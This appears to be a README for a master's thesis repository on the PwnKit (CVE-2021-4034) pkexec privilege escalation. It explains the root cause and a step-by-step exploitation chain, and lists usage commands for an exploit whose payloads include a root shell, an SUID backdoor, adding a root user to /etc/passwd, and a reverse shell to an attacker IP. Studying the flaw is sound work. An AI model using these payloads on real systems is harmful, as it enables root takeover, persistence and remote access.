
Master's thesis research on CVE-2021-4034 (PwnKit) local privilege escalation. Multi-payload Python exploit with 7 modes including interactive shell, SUID backdoor, reverse shell, and root user creation. Includes root cause analysis and exploitation chain documentation.
Memory corruption vulnerability in polkit's pkexec utility
Local Privilege Escalation → root via out-of-bounds write
Affected: polkit 0.105-31 and earlier · Patch: polkit 0.105-33 (January 2022)
Interactive root shell obtained via CVE-2021-4034 - PwnKit
This repository contains my Master's Thesis research on CVE-2021-4034, a High-severity (CVSS 7.8) Local Privilege Escalation vulnerability in polkit's pkexec utility, commonly known as PwnKit.
The vulnerability originates from an out-of-bounds write in pkexec's argument processing logic. When pkexec is executed with an empty or crafted argv, it reads and writes beyond the bounds of the argv array into the envp array, allowing an unprivileged local user to inject malicious environment variables that are subsequently loaded as a shared library, executing arbitrary code with root privileges.
| Aspect | Description |
|---|---|
| Multi-payload exploit | Python wrapper with 6 payload modes including shell, id, backdoor, and reverse shell |
| Automated environment setup | Automatic GCONV_PATH construction and gconv-modules configuration |
| Post-exploitation modules | SUID backdoor, root user creation, and custom command execution |
| Academic documentation | Root cause analysis, exploitation chain, and vulnerability timeline |
CVE-2021-4034/
├── README.md # This file
├── LICENSE # MIT License
│
├── exploit/
│ └── pwnkit.py # Advanced exploit with multiple payloads
│
└── docs/
├── screenshots/ # Exploitation demonstrations
│ ├── 01-pwnkit-shell.png
│ ├── 02-pwnkit-id.png
│ ├── 03-pwnkit-whoami.png
│ ├── 04-pwnkit-backdoor.png
│ ├── 05-pwnkit-add-user.png
│ ├── 06-pwnkit-reverse.png
│ └── 07-pwnkit-custom.png
│
└── analysis/
├── 01-root-cause.md # Vulnerability root cause analysis
├── 02-exploitation-chain.md # Exploitation chain breakdown
└── 03-timeline.md # CVE timeline
pkexec --version shows 0.105 or earlier)apt install gcc)# Interactive root shell (default)
python3 exploit/pwnkit.py -p shell
# Verify execution context
python3 exploit/pwnkit.py -p whoami
# Execute custom command as root
python3 exploit/pwnkit.py -p custom -c "id"
# Create SUID backdoor at /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid
# Add persistent root user
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword
# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444
| Payload | Description | Output |
|---|---|---|
shell | Spawns interactive /bin/sh as root | Interactive shell |
id | Writes id and whoami output to /tmp/pwnkit_id.txt | File |
whoami | Writes UID/eUID verification to /tmp/pwnkit_root_test | File |
backdoor_suid | Creates SUID root bash copy at /tmp/.sh | Persistent backdoor |
add_root_user | Appends custom user to /etc/passwd | Persistent access |
reverse_shell | Connects back to attacker via Python | Remote shell |
custom | Executes any command as root | Stdout / file |
pkexec processes its own argv to locate the program being run. When invoked with argc == 0 (empty argument vector), the bounds check on argv fails silently. The subsequent out-of-bounds read treats envp[0] as argv[1], and the out-of-bounds write back into envp allows an attacker to replace an environment variable with a crafted path. When pkexec later calls g_printerr(), it loads GCONV_PATH from the now-attacker-controlled environment, loading an attacker-supplied shared library with root privileges.
argc == 0 → argv[1] reads envp[0]
argv[1] = "GCONV_PATH=." (writes back into envp)
pkexec loads ./pwnkit.so (attacker-controlled shared library)
gconv_init() executes as root
1. Craft argv = { NULL } → argc = 0, triggers OOB access
2. Set envp[0] = "pwnkit.so:."
3. Set envp[1] = "PATH=GCONV_PATH=."
4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1]
5. pkexec resolves GCONV_PATH=. and loads gconv-modules
6. gconv-modules maps "PWNKIT" charset to pwnkit.so
7. pwnkit.so:gconv_init() called with root privileges
8. Payload executes (shell / backdoor / reverse shell / etc.)
| Component | Value | Notes |
|---|---|---|
| Vulnerable binary | /usr/bin/pkexec | SUID root |
| Trigger condition | argc == 0 | Empty argv |
| Write primitive | OOB write into envp | Via argv[argc-1] |
| Load mechanism | GCONV_PATH + gconv-modules | Standard glibc iconv |
| Execution context | gconv_init() in shared library | Runs as EUID 0 |
| Affected versions | polkit ≤ 0.105-31 | All major Linux distros |







All testing was conducted on an isolated VirtualBox VM running Ubuntu 20.04 LTS with polkit 0.105-26 (vulnerable), with no network exposure.